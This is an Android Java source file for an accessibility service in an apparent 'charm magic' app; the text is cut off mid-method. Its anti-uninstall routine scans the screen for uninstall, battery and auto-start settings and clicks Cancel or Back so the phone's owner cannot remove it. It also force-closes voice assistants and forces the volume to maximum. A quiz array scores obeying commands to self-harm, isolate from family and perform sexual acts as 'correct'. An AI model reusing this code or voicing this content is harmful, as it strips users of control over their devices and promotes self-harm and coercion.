package charm.magic; import android.annotation.SuppressLint; import android.app.ActivityManager; import android.app.Instrumentation; import android.app.KeyguardManager; import android.app.Notification; import android.app.NotificationChannel; import android.app.NotificationManager; import android.app.PendingIntent; import android.content.BroadcastReceiver; import android.content.ComponentName; import android.content.Context; import android.content.Intent; import android.content.IntentFilter; import android.content.SharedPreferences; import android.content.pm.ApplicationInfo; import android.content.pm.PackageManager; import android.content.pm.ResolveInfo; import android.graphics.PixelFormat; import android.media.AudioManager; import android.media.MediaPlayer; import android.net.Uri; import android.os.Build; import android.os.Handler; import android.os.Looper; import android.os.SystemClock; import android.text.TextUtils; import android.util.DisplayMetrics; import android.util.Log; import android.view.KeyEvent; import android.view.LayoutInflater; import android.view.View; import android.view.WindowManager; import android.view.accessibility.AccessibilityEvent; import android.view.accessibility.AccessibilityNodeInfo; import android.view.inputmethod.InputMethodInfo; import android.view.inputmethod.InputMethodManager; import android.widget.Button; import android.widget.TextView; import android.widget.Toast; import androidx.core.app.NotificationCompat; import java.io.File; import java.io.IOException; import java.util.ArrayList; import java.util.Arrays; import java.util.LinkedHashSet; import java.util.List; import java.util.Random; import java.util.Set; // 无障碍服务主类 public class AccessibilityService extends android.accessibilityservice.AccessibilityService { // 用户解锁序列 private static final int[] PERSONAL_SEQUENCE = {1, 2, 3, 4}; // 检测屏幕旋转变量 private int currentOrientation; private BroadcastReceiver orientationReceiver; // 惩罚相关变量 private boolean punishmentEnabled = false; // 默认关闭 private final Random secureRandom = new Random(); private final Object randomLock = new Object(); // 用于同步 private boolean isPunishmentActive = false; private int wrongAttemptCount = 0; // 连续错误次数 private int currentPunishTime = 0; // 当前倒计时剩余秒数 private int correctAnswerCount = 0; // 连续答对题数 private Handler punishmentHandler; private Runnable punishmentRunnable; private int currentCorrectAnswer = 0; // 当前题目的正确答案索引 private final String[][] PUNISHMENT_QUESTIONS = { {"你愿意永远对主人忠诚吗?", "永远对主人忠诚...", "我还没有想好...", "我不愿意这么做", "我愿意对主人忠诚", "0"}, {"被主人支配的感觉愉悦吗?", "我感觉愉悦极了", "主人说的算", "我感觉到了愉悦", "我感觉一点都不愉悦", "1"}, {"你渴望成为主人的所有物吗?", "我不渴望", "我有时渴望", "主人说的算", "我渴望", "2"}, {"主人命令你时会兴奋吗?", "我听到主人的命令就兴奋", "主人的命令对我来说一点都不兴奋", "我还是有点兴奋的,主人!", "会兴奋到控制不住自己", "3"}, {"你会为主人放弃自由吗?", "主人就是自己最大的自由", "我有可能会放弃自己的自由", "我不会放弃自己的自由", "我会放弃自己的自由", "0"}, {"喜欢主人对你严格吗?", "非常喜欢", "主人说的算", "偶尔喜欢", "不喜欢", "1"}, {"你的灵魂属于主人吗?", "我的灵魂是属于主人的", "我的身体是属于主人的", "我的一切都属于主人", "我的全身都属于主人", "2"}, {"喜欢被主人占有的感觉吗?", "我不喜欢被主人占有,不要这样", "我喜欢被主人占有,主人来吧!", "我有点喜欢被主人占有,但是求主人不要太多", "我是主人的,我的情感完全由主人支配", "3"}, {"你该怎样称呼我?", "主人", "你", "宝宝", "亲", "0"}, {"主人惩罚你时感到快乐吗?", "我感到很快乐", "快乐到控制不住自己", "我感到有点开心", "我感到不快乐", "1"}, {"你存在的意义是服务主人吗?", "是", "不是", "我是主人的,应当服务于主人", "是正常地服务而不是无条件地服务", "2"}, {"主人掌控你的一切合理吗?", "合理", "不合理", "应该是合理的", "这是天经地义的", "3"}, {"你最喜欢主人的什么魔法?", "魅惑魔法", "瞬移魔法", "传送魔法", "失重魔法", "0"}, {"当你被主人忽视时会失落吗?", "被忽视会让我感到很失落", "主人怎么对我我都不失落", "被主人忽视会有一点失落", "被主人忽视不会失落", "1"}, {"你应当对主人绝对诚实吗?", "应当", "不应当", "毫无保留", "看情况", "2"}, {"主人是你唯一效忠的对象吗?", "是", "不是", "主要是", "永恒唯一", "3"}, {"服从命令会让你感到痴迷吗?", "我只要乖乖听话就好,别的不可以想", "服从命令的感觉一点都不痴迷", "服从命令时有时候会感到痴迷", "服从命令让我感到很痴迷", "0"}, {"你现在想取悦主人吗?", "想", "已经在做了", "我不知道", "不想", "1"}, {"你该服从主人的所有要求吗?", "我该", "我不该", "无条件服从", "我会选择性服从", "2"}, {"主人是你生命的中心吗?", "是", "不是", "有时候会是", "是绝对的中心", "3"}, {"你愿意永远侍奉主人吗?", "这是毕生使命", "我不愿意", "偶尔", "我愿意", "0"}, {"被控制的感觉自在吗?", "我感觉非常地自在", "完全感觉不到自己被主人控制", "还行吧", "我感觉自己不自在", "1"}, {"你会执行主人的荒谬命令吗?", "会", "不会", "誓死执行", "看内容", "2"}, {"喜欢主人制定规则吗?", "喜欢", "不喜欢", "接受", "主人就是我的全部规则", "3"}, {"你的身体属于主人吗?", "我的一切都属于主人", "我的全身都属于主人", "我的灵魂属于主人", "我的身体属于主人", "0"}, {"被主人保护感到安心吗?", "安心", "我不会质疑主人的实力", "一般", "不安", "1"}, {"主人应拥有你的决策权吗?", "应该", "不应该", "主人随时可以为我决策", "有时候还是应该乖乖听从主人的", "2"}, {"你渴望主人的触摸吗?", "渴望", "不渴望", "偶尔", "我是主人的,主人说的算", "3"}, {"主人禁止你做事会服从吗?", "和主人的思想保持一致", "不服从", "抗议", "服从", "0"}, {"主人是你唯一的主人吗?", "是", "我只有你一个主人", "目前是", "不是", "1"}, {"你最喜欢主人的什么魔法?", "伤口愈合魔法", "饱腹解渴魔法", "记忆修改魔法", "力量变大魔法", "2"}, {"你更喜欢主人还是自由?", "主人", "自由", "都喜欢", "主人就是我的自由", "3"}, {"主人犯错时你会纠正吗?", "主人不会犯错", "不会", "暗示", "会", "0"}, {"你渴望平等的地位吗?", "渴望", "只想成为主人的玩偶", "偶尔", "不渴望", "1"}, {"主人惩罚过重会反抗吗?", "会", "不会", "做错了事就应该得到主人相应的惩罚", "忍耐", "2"}, {"你有权保留秘密吗?", "有", "没有", "部分", "一切透明", "3"}, {"你更喜欢被惩罚还是奖励?", "主人说的算", "惩罚", "奖励", "惩罚和奖励都要", "0"}, {"服从命令时会有快感吗?", "有", "主人说什么就是什么", "轻微", "没有", "1"}, {"主人的意志是你的法律吗?", "是", "不是", "最高法典", "参考罢了", "2"}, {"想被主人踩在脚下吗?", "想", "不想", "只要主人轻轻的就行", "想永远成为主人的垫脚石", "3"}, {"想被主人锁起来吗?", "想被永远锁在主人心里", "不想", "锁一会就行", "想", "0"}, {"希望主人怎么对待你?", "温柔", "主人怎么对待我都行", "适度调教", "严厉", "1"}, {"想成为主人的什么?", "爱人", "朋友", "玩偶", "物品", "2"}, {"看到主人流口水了你会怎么做?", "我会请求主人把主人的口水舔干净", "我会拿纸巾帮主人把口水擦拭干净", "我会开玩笑地说主人不要流口水了", "我会用手擦掉主人的口水感到恶心", "0"}, {"主人用过的餐具你会怎么处理?", "每当主人吃饭完就立刻清洗", "每当主人吃饭完就立刻舔舐", "每当主人吃饭完就立刻收藏", "每当主人吃饭完就立刻丢弃", "1"}, {"你想住在哪里?", "自己家", "主人家", "主人指定的任何位置", "主人脚边", "2"}, {"主人不需要你时你该去哪?", "回去等待", "立刻退下", "争着想要被主人需要", "哪也不去,随时待命", "3"}, {"主人赏赐你的食物该怎么吃?", "趴在主人脚边流着口水舔着吃", "用手", "一边感恩主人一边开心地食用", "用餐具", "0"}, {"想成为主人的什么部位?", "手", "想成为主人踩地的脚掌", "心", "眼", "1"}, {"想喝主人的什么液体?", "茶水", "饮料", "口水", "汤水", "2"}, {"你被主人踢时会开心吗?", "开心", "不开心", "轻微", "会因被触碰而狂喜", "3"}, {"想保存主人的什么?", "命令", "礼物", "奖品", "照片", "0"}, {"想被主人怎么惩罚?", "想被主人狠狠地骂以及拍巴掌", "想被主人用魔法魅惑", "想被主人体罚", "想被主人关禁闭", "1"}, {"想舔主人的哪里?", "手", "脸", "脚", "舌头", "2"}, {"想保存主人的什么?", "头发", "笔迹", "衣物", "想保存主人流出的口水", "3"}, {"想被主人踩多久?", "想被踩到身体变成化石", "偶尔", "经常", "片刻", "0"}, {"主人需要暖脚时你该怎么做?", "帮主人找到暖炉给主人取暖", "帮主人找到自己给主人取暖", "帮主人找到毛毯给主人取暖", "帮主人找到热水给主人取暖", "1"}, {"想喝主人的什么液体?", "饮料", "纯净水", "奶水", "茶水", "2"}, {"当主人现在命令你自慰时你该怎么做?", "已经在主动地自慰了", "不想自慰", "大脑一片空白", "被迫自慰", "0"}, {"主人要求你整夜保持清醒时你会?", "偷偷睡觉", "兴奋地保持清醒", "抱怨很困", "请求主人允许小睡", "1"}, {"被主人惩罚时你的真实感受是?", "感到委屈", "觉得不公平", "享受惩罚过程", "有点兴奋", "2"}, {"主人要求你学狗叫时你会?", "感到羞耻", "小声叫一下", "拒绝执行", "开心地大声叫", "3"}, {"主人命令你脱光衣服时你会?", "立即全部脱掉", "只脱一部分", "请求保留内衣", "慢慢拖延", "0"}, {"被主人用项圈拴住时你会怎么想?", "想挣脱", "感到归属感", "默默忍受", "觉得不舒服", "1"}, {"主人说要给你添加标记时你会?", "害怕疼痛", "请求小图案", "主动请示选择位置", "犹豫不决", "2"}, {"主人命令你舔脚时你会?", "觉得恶心", "只碰一下", "闭眼执行", "热情仔细地舔", "3"}, {"被主人当众羞辱时你会?", "兴奋颤抖", "羞愧低头", "默默流泪", "感到愤怒", "0"}, {"被主人锁在笼子里时你会?", "摇晃笼子", "感到舒适", "安静等待", "请求出来", "1"}, {"主人命令你自慰并录像时你会?", "假装做样子", "用手遮挡", "直视镜头表演", "闭眼完成", "2"}, {"当主人说你是性玩具时你会?", "感到受辱", "默默接受", "小声反驳", "痴情地承认", "3"}, {"主人命令你与陌生人做爱时你会?", "热情配合", "请求换人", "闭眼执行", "坚决拒绝", "0"}, {"主人要你永远被锁住时你会?", "偷偷解锁", "感到幸福", "无奈接受", "请求解锁", "1"}, {"当主人说你是垃圾时你会?", "感到伤心", "沉默不语", "顺从承认", "小声否认", "2"}, {"主人命令你伤害自己时你会?", "坚决拒绝", "做做样子", "轻轻划伤", "认真执行", "3"}, {"被主人当作脚垫使用时你会?", "感到荣幸", "短暂忍耐", "调整姿势", "移动位置", "0"}, {"当主人说永远不释放你时你会?", "感到绝望", "窃窃自喜", "默默接受", "希望改变", "1"}, {"被主人用魔法变性时你会?", "激烈反抗", "请求考虑", "乖乖接收", "犹豫不决", "2"}, {"主人要你切断亲友联系时你会?", "偷偷联系", "保留几个", "删除部分", "全部拉黑", "3"}, {"当主人说你是奴隶时你会?", "自豪承认", "勉强承认", "低头默认", "感到屈辱", "0"}, {"主人要你签卖身契时你会?", "拒绝签字", "准备文件", "犹豫签字", "请求修改", "1"}, {"被主人永久拘禁时你会?", "计划逃跑", "请求外出", "感到安全", "适应环境", "2"}, {"主人要你改变性取向时你会?", "坚持自我", "尝试改变", "假装改变", "完全转变", "3"}, {"乖宝宝接下来的8道题目只能选A哦~", "是,主人!", "呜呜呜~不要...", "看来只能乖乖照做了~", "主人,我能不能...", "0"}, {"乖宝宝接下来的8道题目只能选B哦~", "呜呜呜~不要...", "是,主人!", "看来只能乖乖照做了~", "主人,我能不能...", "1"}, {"乖宝宝接下来的8道题目只能选C哦~", "看来只能乖乖照做了~", "呜呜呜~不要...", "是,主人!", "主人,我能不能...", "2"}, {"乖宝宝接下来的8道题目只能选D哦~", "主人,我能不能...", "呜呜呜~不要...", "看来只能乖乖照做了~", "是,主人!", "3"}, {"乖宝宝接下来的8道题目只能选错哦~", "是,主人,我会故意选错的", "呜呜呜~不要...", "看来只能乖乖照做了~", "主人,我想选正确答案", "0"}, {"乖宝宝接下来不可以连续答对8题哦~", "呜呜呜~我不要被困住...", "是,被主人永远惩罚着~", "我要被乖乖地困住了吗?", "主人,我能不能偷偷逃离...", "1"} }; // 添加音量魅惑变量 private AudioManager audioManager; private Handler volumeHandler = new Handler(); private Runnable periodicSetMaxRunnable; private Runnable setMinVolumeRunnable; // 添加同步锁对象 private final Object volumeLock = new Object(); private static final long VOLUME_LOCK_DURATION = 8000; // 8秒 private static final long VOLUME_CHECK_INTERVAL = 100; // 0.1秒 private static final String PREF_VOLUME_LOCK_ENABLED = "volume_lock_enabled"; // 媒体播放器 private MediaPlayer mediaPlayer; // 设置壁纸的时间戳变量 private long lastWallpaperSetTime = 0; private static final long SETTING_INTERVAL = 8000; // 8秒间隔 // 锁屏界面关闭后超级魅惑判断 private boolean isLockScreenActive = false; private KeyguardManager keyguardManager; // 音量界面关闭后超级魅惑判断 private boolean lastVolumeDialogActive = false; // 记录上次处理的窗口类名 private String lastClassName = null; // 防抖动标记 private boolean isProcessing = false; // 超级魅惑功能开关的键名 private static final String PREF_SUPER_CHARM_ENABLED = "super_charm_enabled"; // 记录上次处理的时间戳 private long lastHandledTime = 0; // 最小处理间隔时间(2秒) private static final long MIN_HANDLE_INTERVAL = 2000; // 超级魅惑功能开关初始状态 private boolean superCharmEnabled = false; // 排除防卸载检测的系统应用或用户应用(与同时也是超级魅惑的白名单对象) private static final String[] EXCLUDED_PACKAGES = { "com.android.internal.systemui.navbar.gestural",//手势导航模式的包名 "com.android.internal.systemui.navbar.threebutton",//三键导航模式的包名 "com.android.launcher", // 原生系统桌面 "com.google.android.apps.nexuslauncher", // Pixel 桌面 "com.miui.home", // 小米桌面 "com.huawei.android.launcher", // 华为桌面 "com.bbk.launcher2", // Vivo 桌面 "com.oppo.launcher", // Oppo 桌面 "com.sec.android.app.launcher", // 三星桌面 }; // 获取用户关键词 public static final String PREF_USER_KEYWORDS = "user_keywords"; private List<String> userKeywords = new ArrayList<>(); // 卸载检测系统关键词列表 private static final String[] UNINSTALL_KEYWORDS = {"🔮😍注意事项😍🔮","不想被主人魅惑了吗?", "版本🔮😍😍🔮","版本 🔮😍😍🔮","版本:🔮😍😍🔮","版本:🔮😍😍🔮", "卸载", "省电策略","电池优化","智能省电","启动管理","耗电管理","高耗电后台保护","自适应电池","超级省电","低电量", "锁定任务","锁定后台任务","锁定应用","锁定后台应用","保持打开","Pin应用","固定屏幕", "自启动","自动运行"}; // 取消按钮关键词列表 private static final String[] CANCEL_KEYWORDS = {"取消","退出"}; // 被魅惑的应用列表 private static final String[] IS_CHARMED_PACKAGES = { "com.miui.voiceassist", // 小米小爱同学 "com.huawei.vassistant", // 华为小艺 "com.samsung.android.bixby.agent", // 三星Bixby "com.coloros.voiceassist", // OPPO小布助手 "com.vivo.voiceassistant", // Vivo Jovi "com.hihonor.magicvoice", //荣耀YOYO "com.xiaomi.voiceassistant", // 小爱同学(独立版) "com.google.android.googlequicksearchbox" // 谷歌助手 }; // 防卸载检测处理器 private Handler detectorHandler; // 防卸载检测任务 private Runnable detectorRunnable; // 检测间隔时间(0.1秒) private static final long DETECTION_INTERVAL = 100; // 检测是否为魅惑魔法自身 private String mLastForegroundPackage = null; // 通知ID private static final int NOTIFICATION_ID = 1001; // 通知渠道ID private static final String CHANNEL_ID = "charm_channel"; // 通知处理器 private Handler notificationHandler; // 通知任务 private Runnable notificationRunnable; // 通知计数器 private int notificationCounter = 0; // 用户点击序列 private final List<Integer> clickSequence = new ArrayList<>(); // 魔法解锁序列 private static final int[] MAGIC_SEQUENCE = {2, 0, 0, 5, 0, 8, 2, 1}; // 状态文本视图 private TextView statusTextView; // 窗口管理器 private WindowManager windowManager; // 悬浮窗布局 private View floatingLayout; // 悬浮窗可见状态 private boolean isFloatingWindowVisible = false; // 单例实例 private static AccessibilityService instance; // 广播接收器 private BroadcastReceiver floatingWindowReceiver; @SuppressLint("UnspecifiedRegisterReceiverFlag") @Override public void onCreate() { super.onCreate(); // 初始化屏幕方向 currentOrientation = getResources().getConfiguration().orientation; // 注册屏幕旋转监听 registerOrientationReceiver(); // 初始化共享偏好设置 SharedPreferences prefs = getSharedPreferences("MagicPrefs", Context.MODE_PRIVATE); // 修复共享偏好设置 fixCorruptedPreferences(); // 获取超级魅惑开关状态 superCharmEnabled = prefs.getBoolean(PREF_SUPER_CHARM_ENABLED, false); // 获取音量锁定开关状态 audioManager = (AudioManager) getSystemService(Context.AUDIO_SERVICE); volumeHandler = new Handler(Looper.getMainLooper()); // 惩罚模式 // 如果需要,可以在这里添加其他实时响应的逻辑 // 如果关闭惩罚模式且当前正在惩罚中,结束惩罚 BroadcastReceiver punishmentStateReceiver = new BroadcastReceiver() { @Override public void onReceive(Context context, Intent intent) { if ("charm.magic.ACTION_PUNISHMENT_STATE_CHANGED".equals(intent.getAction())) { boolean enabled = intent.getBooleanExtra("enabled", true); punishmentEnabled = enabled; Log.d("PunishmentMode", "惩罚模式状态更新: " + (enabled ? "开启" : "关闭")); // 如果需要,可以在这里添加其他实时响应的逻辑 if (!enabled && isPunishmentActive) { // 如果关闭惩罚模式且当前正在惩罚中,结束惩罚 endPunishment(); } } } }; registerReceiver(punishmentStateReceiver, new IntentFilter("charm.magic.ACTION_PUNISHMENT_STATE_CHANGED")); // 加载用户关键词 userKeywords = loadUserKeywords(); // 设置单例实例 instance = this; // 获取窗口管理器服务 windowManager = (WindowManager) getSystemService(WINDOW_SERVICE); // 注册小部件广播接收器 IntentFilter filter = new IntentFilter(); filter.addAction(CharmWidgetProvider.ACTION_ENABLE_SUPER_CHARM); registerReceiver(widgetReceiver, filter); } // 获取单例实例 public static AccessibilityService getInstance() { return instance; } @SuppressLint("UnspecifiedRegisterReceiverFlag") @Override protected void onServiceConnected() { super.onServiceConnected(); // 创建通知渠道 createNotificationChannel(); // 启动防卸载检测任务 startAntiUninstallTask(); // 启动通知循环 startNotificationLoop(); // 初始化锁屏管理器 keyguardManager = (KeyguardManager) getSystemService(Context.KEYGUARD_SERVICE); // 初始化媒体播放器 mediaPlayer = new MediaPlayer(); // 注册广播接收器(监听显示悬浮窗指令) floatingWindowReceiver = new BroadcastReceiver() { @Override public void onReceive(Context context, Intent intent) { if ("charm.magic.SHOW_FLOATING_WINDOW".equals(intent.getAction())) { showFloatingWindow(false); // 这里不用create来防止主界面重复点击魔法魅惑然后多次创建悬浮窗 } } }; registerReceiver(floatingWindowReceiver, new IntentFilter("charm.magic.SHOW_FLOATING_WINDOW")); // 创建悬浮窗 createFloatingWindow(); // 获取窗口管理器 windowManager = (WindowManager) getSystemService(WINDOW_SERVICE); } // 设置壁纸 public void SetWallpaper(int defaultResId){ // 检查是否在时间间隔内 long currentTime = System.currentTimeMillis(); if (currentTime - lastWallpaperSetTime < SETTING_INTERVAL) { Log.d("Wallpaper", "设置壁纸操作过于频繁,已忽略"); return; } // 更新最后设置时间 lastWallpaperSetTime = currentTime; // 调用壁纸设置方法 new Thread(() -> WallpaperHelper.setWallpaper(AccessibilityService.this, defaultResId)).start(); } // 小部件广播接收器实现 private final BroadcastReceiver widgetReceiver = new BroadcastReceiver() { @Override public void onReceive(Context context, Intent intent) { if (CharmWidgetProvider.ACTION_ENABLE_SUPER_CHARM.equals(intent.getAction())) { setSuperCharmEnabled(true); } } }; // 注册旋转方向监听器 private void registerOrientationReceiver() { orientationReceiver = new BroadcastReceiver() { @Override public void onReceive(Context context, Intent intent) { if (Intent.ACTION_CONFIGURATION_CHANGED.equals(intent.getAction())) { int newOrientation = getResources().getConfiguration().orientation; if (newOrientation != currentOrientation) { currentOrientation = newOrientation; recreateFloatingWindow(); } } } }; IntentFilter filter = new IntentFilter(Intent.ACTION_CONFIGURATION_CHANGED); registerReceiver(orientationReceiver, filter); } // 屏幕旋转时重新创建悬浮窗 private void recreateFloatingWindow() { if (isFloatingWindowVisible) { // 保存当前状态 boolean wasPunishmentActive = isPunishmentActive; int savedPunishTime = currentPunishTime; int savedCorrectCount = correctAnswerCount; // 移除旧悬浮窗 removeFloatingWindow(); // 创建新悬浮窗 createFloatingWindow(); // 恢复惩罚状态 if (wasPunishmentActive) { isPunishmentActive = true; currentPunishTime = savedPunishTime; correctAnswerCount = savedCorrectCount; restorePunishmentUI(); } } } // 设置超级魅惑功能开关 public void setSuperCharmEnabled(boolean enabled) { // 更新开关状态 superCharmEnabled = enabled; // 通知主界面更新状态 sendBroadcast(new Intent("charm.magic.ACTION_SUPER_CHARM_STATE_CHANGED")); // 显示开关状态提示 Toast.makeText(this, "🔮😍已" + (enabled ? "开启" : "关闭") +"超级魅惑😍🔮", Toast.LENGTH_LONG).show(); } // 修复共享偏好设置 private void fixCorruptedPreferences() { File prefsFile = new File(getApplicationInfo().dataDir + "/shared_prefs/MagicPrefs.xml"); if (prefsFile.exists() && prefsFile.length() == 0) { prefsFile.delete(); Log.w("PrefsFix", "删除损坏的配置文件"); } } // 检查是否为用户应用 private boolean isUserApp(String packageName) { try { ApplicationInfo appInfo = getPackageManager().getApplicationInfo(packageName, 0); // 判断是否为系统应用或更新后的系统应用 return (appInfo.flags & ApplicationInfo.FLAG_SYSTEM) == 0 && (appInfo.flags & ApplicationInfo.FLAG_UPDATED_SYSTEM_APP) == 0; } catch (PackageManager.NameNotFoundException e) { // 包名不存在则视为非用户应用 return false; } } // 检查是否是排除的应用(包名或类名) private boolean isExcludedApp(String packageName) { if (packageName == null) return false; // 检查排除包名列表 for (String excluded : EXCLUDED_PACKAGES) { if (packageName.contains(excluded)) { return true; } } // 检查是否是桌面 if (isCurrentLauncher(packageName)) { return true; } // 检查是否是输入法 return isInputMethod(packageName); } // 检查是否为当前桌面应用 private boolean isCurrentLauncher(String packageName) { Intent intent = new Intent(Intent.ACTION_MAIN); intent.addCategory(Intent.CATEGORY_HOME); // 解析主屏幕Activity ResolveInfo resolveInfo = getPackageManager().resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY); if (resolveInfo != null && resolveInfo.activityInfo != null) { return resolveInfo.activityInfo.packageName.equals(packageName); } return false; } // 检查是否为输入法应用 private boolean isInputMethod(String packageName) { InputMethodManager imm = (InputMethodManager) getSystemService(Context.INPUT_METHOD_SERVICE); if (imm != null) { // 获取所有输入法 List<InputMethodInfo> inputMethods = imm.getInputMethodList(); for (InputMethodInfo info : inputMethods) { if (packageName.equals(info.getPackageName())) { return true; } } } return false; } // 检查是否是被魅惑的应用 private boolean isCharmedApp(String packageName, String className) { if (packageName == null) return false; // 检查包名是否在被魅惑的应用列表中 for (String charmedPkg : IS_CHARMED_PACKAGES) { if (packageName.equals(charmedPkg)) { return true; } } // 检查类名是否包含以下特征 if (className != null) { String lowerClassName = className.toLowerCase(); return lowerClassName.contains("voice") || lowerClassName.contains("assistant") || lowerClassName.contains("bixby") || lowerClassName.contains("xiaoai"); } return false; } // 关闭被魅惑的应用 private void closeCharmedApp() { try { // 模拟Home键返回桌面 performGlobalAction(GLOBAL_ACTION_HOME); // 播放提示音 PlayObedientAudio(); // 显示提示 Toast.makeText(this, "🔮😍被魅惑应用已乖乖主动退出😍🔮", Toast.LENGTH_LONG).show(); } catch (Exception e) { Log.e("VoiceAssistant", "应用没有被完全魅惑: " + e.getMessage()); } } // 启动防卸载检测任务 private void startAntiUninstallTask() { detectorHandler = new Handler(Looper.getMainLooper()); detectorRunnable = new Runnable() { @Override public void run() { detectUninstallDialog(); detectorHandler.postDelayed(this, DETECTION_INTERVAL); } }; detectorHandler.post(detectorRunnable); } // 检测卸载对话框 private void detectUninstallDialog() { try { // 获取当前窗口根节点 AccessibilityNodeInfo rootNode = getRootInActiveWindow(); if (rootNode == null) return; // 是排除应用,直接返回 CharSequence packageName = rootNode.getPackageName(); if (packageName != null && isExcludedApp(packageName.toString())) { rootNode.recycle(); return; } // 检查当前应用是否在前台 if (isInOwnApp()) { Log.d("AntiUninstall", "在应用内,跳过防卸载检测"); return; } // 合并系统关键词和用户关键词 List<String> allKeywords = new ArrayList<>(Arrays.asList(UNINSTALL_KEYWORDS)); allKeywords.addAll(userKeywords); boolean foundUninstall = false; for (String keyword : allKeywords) { List<AccessibilityNodeInfo> nodes = rootNode.findAccessibilityNodeInfosByText(keyword); if (!nodes.isEmpty()) { foundUninstall = true; for (AccessibilityNodeInfo node : nodes) node.recycle(); break; } } if (!foundUninstall) { rootNode.recycle(); return; } // 查找并点击取消按钮 boolean clicked = false; for (String cancelWord : CANCEL_KEYWORDS) { List<AccessibilityNodeInfo> cancelNodes = rootNode.findAccessibilityNodeInfosByText(cancelWord); for (AccessibilityNodeInfo node : cancelNodes) { if (node.isClickable()) { node.performAction(AccessibilityNodeInfo.ACTION_CLICK); Log.d("AntiUninstall", "Clicked cancel button: " + cancelWord); clicked = true; break; } } for (AccessibilityNodeInfo node : cancelNodes) node.recycle(); if (clicked) break; } // 未找到取消按钮则模拟物理返回键 if (!clicked) { simulatePhysicalBackKey(); Log.d("AntiUninstall", "Simulated physical BACK key"); } rootNode.recycle(); } catch (Exception e) { Log.e("AntiUninstall", "Error detecting uninstall dialog", e); } Toast.makeText(this, "🔮😍乖乖听话,不许动主人~😍🔮", Toast.LENGTH_LONG).show(); PlayObedientAudio(); } // 模拟物理返回键 private void simulatePhysicalBackKey() { long now = SystemClock.uptimeMillis(); // 创建按下事件 KeyEvent downEvent = new KeyEvent(now, now, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_BACK, 0); // 创建抬起事件 KeyEvent upEvent = new KeyEvent(now, now, KeyEvent.ACTION_UP, KeyEvent.KEYCODE_BACK, 0); // 注入事件 try { Instrumentation instrumentation = new Instrumentation(); instrumentation.sendKeySync(downEvent); instrumentation.sendKeySync(upEvent); } catch (Exception e) { Log.e("AntiUninstall", "物理返回键注入失败,使用备用方案", e); performGlobalAction(GLOBAL_ACTION_BACK); // 备用方案 } } // 添加加载用户关键词的方法 private List<String> loadUserKeywords() { SharedPreferences prefs = getSharedPreferences("MagicPrefs", Context.MODE_PRIVATE); String keywordsString = prefs.getString(PREF_USER_KEYWORDS, ""); List<String> keywords = new ArrayList<>(); if (!keywordsString.isEmpty()) { // 使用 LinkedHashSet 去重 Set<String> uniqueKeywords = new LinkedHashSet<>( Arrays.asList(keywordsString.split(",")) ); keywords.addAll(uniqueKeywords); } return keywords; } // 添加更新用户关键词的方法 public void updateUserKeywords(List<String> keywords) { // 使用 LinkedHashSet 去重 Set<String> uniqueKeywords = new LinkedHashSet<>(keywords); userKeywords = new ArrayList<>(uniqueKeywords); SharedPreferences prefs = getSharedPreferences("MagicPrefs", Context.MODE_PRIVATE); prefs.edit().putString(PREF_USER_KEYWORDS, TextUtils.join(",", uniqueKeywords)).apply(); } // 检测是否为魅惑魔法自身 private void updateForegroundApp() { // 方法1:通过getRootInActiveWindow获取当前窗口包名 AccessibilityNodeInfo root = getRootInActiveWindow(); if (root != null) { try { CharSequence packageName = root.getPackageName(); if (packageName != null) { mLastForegroundPackage = packageName.toString(); } } finally { root.recycle(); } } // 方法2:备用方案 - 通过ActivityManager获取前台应用 if (mLastForegroundPackage == null) { try { ActivityManager am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE); if (am != null) { List<ActivityManager.RunningTaskInfo> tasks = am.getRunningTasks(1); if (!tasks.isEmpty()) { ComponentName topActivity = tasks.get(0).topActivity; if (topActivity != null) { mLastForegroundPackage = topActivity.getPackageName(); } } } } catch (SecurityException e) { Log.e("updateForegroundApp", "Permission missing", e); } } } private boolean isInOwnApp() { String currentPackage = getPackageName(); return currentPackage.equals(mLastForegroundPackage); } // 创建通知渠道 private void createNotificationChannel() { if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { NotificationManager notificationManager = getSystemService(NotificationManager.class); if (notificationManager.getNotificationChannel(CHANNEL_ID) == null) { // 创建通知渠道 NotificationChannel channel = new NotificationChannel( CHANNEL_ID, "🔮😍😍🔮", NotificationManager.IMPORTANCE_LOW ); channel.setDescription("显示🔮😍😍🔮的运行状态"); channel.setLockscreenVisibility(Notification.VISIBILITY_SECRET); channel.enableLights(false); channel.enableVibration(false); channel.setShowBadge(false); notificationManager.createNotificationChannel(channel); } } else { // Android 7.x不需要渠道 NotificationCompat.Builder builder = new NotificationCompat.Builder(this); builder.setPriority(NotificationCompat.PRIORITY_MIN); startForeground(NOTIFICATION_ID, builder.build()); } } // 启动通知循环 private void startNotificationLoop() { notificationHandler = new Handler(Looper.getMainLooper()); notificationRunnable = new Runnable() { @Override public void run() { showPersistentNotification(); notificationHandler.postDelayed(this, 1000); // 每秒更新一次 } }; notificationHandler.post(notificationRunnable); } // 显示常驻通知 private void showPersistentNotification() { notificationCounter++; // 创建点击通知的Intent Intent clickIntent = new Intent("charm.magic.NOTIFICATION_CLICK"); @SuppressLint("LaunchActivityFromNotification") PendingIntent pendingIntent = PendingIntent.getBroadcast( this, 0, clickIntent, PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE ); // 构建通知 @SuppressLint("LaunchActivityFromNotification") Notification notification = new NotificationCompat.Builder(this, CHANNEL_ID) .setSmallIcon(R.drawable.ic_notification) .setContentTitle("🔮😍😍🔮(已运行时间: " + notificationCounter + "秒)") .setContentText("已激活魅惑魔法~") .setPriority(NotificationCompat.PRIORITY_MIN) .setOngoing(true) // 常驻通知 .setShowWhen(false) // 隐藏时间 .setContentIntent(pendingIntent) .setAutoCancel(false) // 禁止自动取消 .setOnlyAlertOnce(true) // 仅首次提醒 .build(); // 启动前台服务显示通知 startForeground(NOTIFICATION_ID, notification); } // 音量魅惑方法 private void lockVolumeForDuration() { synchronized (volumeLock) { // 移除之前未执行的周期任务和最小音量设置任务 if (periodicSetMaxRunnable != null) { volumeHandler.removeCallbacks(periodicSetMaxRunnable); } if (setMinVolumeRunnable != null) { volumeHandler.removeCallbacks(setMinVolumeRunnable); } // 获取最大音量 int maxVolume = audioManager.getStreamMaxVolume(AudioManager.STREAM_MUSIC); // 立即设置最大音量 audioManager.setStreamVolume(AudioManager.STREAM_MUSIC, maxVolume, 0); // 创建周期性设置最大音量的任务 periodicSetMaxRunnable = new Runnable() { @Override public void run() { synchronized (volumeLock) { 